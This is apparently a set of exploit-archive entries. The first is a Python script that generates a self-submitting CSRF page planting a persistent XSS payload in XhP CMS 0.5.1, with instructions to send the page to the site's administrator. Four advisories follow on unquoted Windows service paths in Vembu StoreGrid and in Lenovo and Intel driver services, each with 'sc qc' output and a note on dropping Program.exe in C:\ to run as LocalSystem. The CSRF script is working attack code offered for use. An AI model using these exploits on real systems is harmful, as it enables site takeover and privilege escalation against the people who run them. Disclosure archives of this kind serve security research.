# Tested on: [Kali Linux 2.0 | Windows 8.1]
# Email: mrahsan1337@gmail.com

import os
import urllib

if os.name == 'nt':
		os.system('cls')
else:
	os.system('clear')

banner = '''
+-==-==-==-==-==-==-==-==-==-==-==-==-==-=-=-=+
|  __  ___     ____     ____ __  __ ____      |
|  \ \/ / |__ |  _ \   / ___|  \/  / ___|     |
|   \  /| '_ \| |_) | | |   | |\/| \___ \     |
|   /  \| | | |  __/  | |___| |  | |___) |    |
|  /_/\_\_| |_|_|      \____|_|  |_|____/     | 
| > XhP CMS 0.5.1 - CSRF to Persistent XSS    |
| > Exploit Author & Script Coder: Ahsan Tahir|
+=====-----=====-----======-----=====---==-=-=+ 
'''
def xhpcsrf():

	print banner

	url = str(raw_input(" [+] Enter The Target URL (Please include http:// or https://): "))

	csrfhtmlcode = '''
	<html>
	  <!-- CSRF PoC -->
	  <body>
	    <form action="http://%s/action.php?module=users&action=process_general_config&box_id=29&page_id=0&basename=index.php&closewindow=&from_page=page=0&box_id=29&action=display_site_settings&errcode=0" method="POST" enctype="multipart/form-data" name="exploit">
	      <input type="hidden" name="frmPageTitle" value=""accesskey&#61;z&#32;onclick&#61;"alert&#40;document&#46;domain&#41;" />
	      <input type="hidden" name="frmPageUrl" value="http&#58;&#47;&#47;localhost&#47;xhp&#47;" />
	      <input type="hidden" name="frmPageDescription" value="&#13;" />
	      <input type="hidden" name="frmLanguage" value="english" />
	      <input type="submit" value="Submit request" />
	    </form>
		<script type="text/javascript" language="JavaScript">
		//submit form
		document.exploit.submit();
		</script>    
	  </body>
	</html>

	''' % url

	print " +----------------------------------------------------+\n [!] The HTML exploit code for exploiting this CSRF has been created."

	print(" [!] Enter your Filename below\n Note: The exploit will be saved as 'filename'.html \n")
	extension = ".html"
	name = raw_input(" Filename: ")
	filename = name+extension
	file = open(filename, "w")

	file.write(csrfhtmlcode)
	file.close()
	print(" [+] Your exploit is saved as %s")%filename
	print(" [+] Further Details:\n [!] The code saved in %s will automatically submit without\n any user interaction\n [!] To fully exploit, send the admin of this site a webpage with\n the above code injected in it, when he/she will open it the\n title of their website will be\n changed to an XSS payload, and then\n go to %s and hit ALT+SHIFT+Z on your keyboard, boom! XSS will pop-up!") %(filename, url)
	print("")
	
xhpcsrf()	
            
# Exploit Title: Vembu StoreGrid - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 4.0
# Tested on: Windows Server 2012

StoreGrid is a re-brandable backup solution, which can install 2 services with unquoted service paths.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of either service.
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 4.0, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc RemoteBackup

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: RemoteBackup

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 0   IGNORE

        BINARY_PATH_NAME   : C:\Program Files\MSP\RemoteBackup\bin\StoreGrid.exe


        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : RemoteBackup

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem


C:\>sc qc RemoteBackup_webServer

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: RemoteBackup_webServer

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 0   IGNORE

        BINARY_PATH_NAME   : C:\Program Files\MSP\RemoteBackup\apache\Apache.exe -k runservice

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : RemoteBackup_WebServer

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
# Exploit Title: Lenovo Slim USB Keyboard - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 1.09
# Tested on: Windows 7 Professional

The Lenovo Slim USB Keyboard service is installed with an unquoted service path.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 1.09, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc Sks8821

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: Sks8821

        TYPE               : 20  WIN32_SHARE_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:\Program Files\Lenovo\Lenovo Slim USB Keyboard\Sks8821.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Skdaemon Service

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
# Exploit Title: Lenovo RapidBoot HDD Accelerator - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 1.00.0802
# Tested on: Windows 7 Professional
 
The Lenovo RapidBoot HDD Accelerator service is installed with an unquoted service path.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.  
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 1.00.0802, but other versions may be affected as well.
 
 
---------------------------------------------------------------------------
 
C:\>sc qc FastbootService                                                       
[SC] QueryServiceConfig SUCCESS                                                 
                                                                                
SERVICE_NAME: FastbootService                                                   
        TYPE               : 10  WIN32_OWN_PROCESS                              
        START_TYPE         : 2   AUTO_START                                     
        ERROR_CONTROL      : 1   NORMAL                                         
        BINARY_PATH_NAME   : C:\Program Files (x86)\Lenovo\RapidBoot HDD Accelerator\FBService.exe                                                              
        LOAD_ORDER_GROUP   :                                                    
        TAG                : 0                                                  
        DISPLAY_NAME       : FastbootService                                    
        DEPENDENCIES       : RPCSS                                              
        SERVICE_START_NAME : LocalSystem
 
---------------------------------------------------------------------------
 
 
EXAMPLE:
 
Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
# Exploit Title: Intel(R) PROSet/Wireless for Bluetooth(R) + High Speed - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 15.1.0.0096
# Tested on: Windows 7 Professional

The Intel(R) PROSet/Wireless for Bluetooth(R) + High Speed service is installed with an unquoted service path.  
This enables a local privilege escalation vulnerability.
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.  
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.
This was tested on version 15.1.0.0096, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc AMPPALR3

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: AMPPALR3

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START  (DELAYED)

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:\Program Files\Intel\BluetoothHS\BTHSAmpPalService.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Intelr Centrinor Wireless Bluetoothr + High Speed Service

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.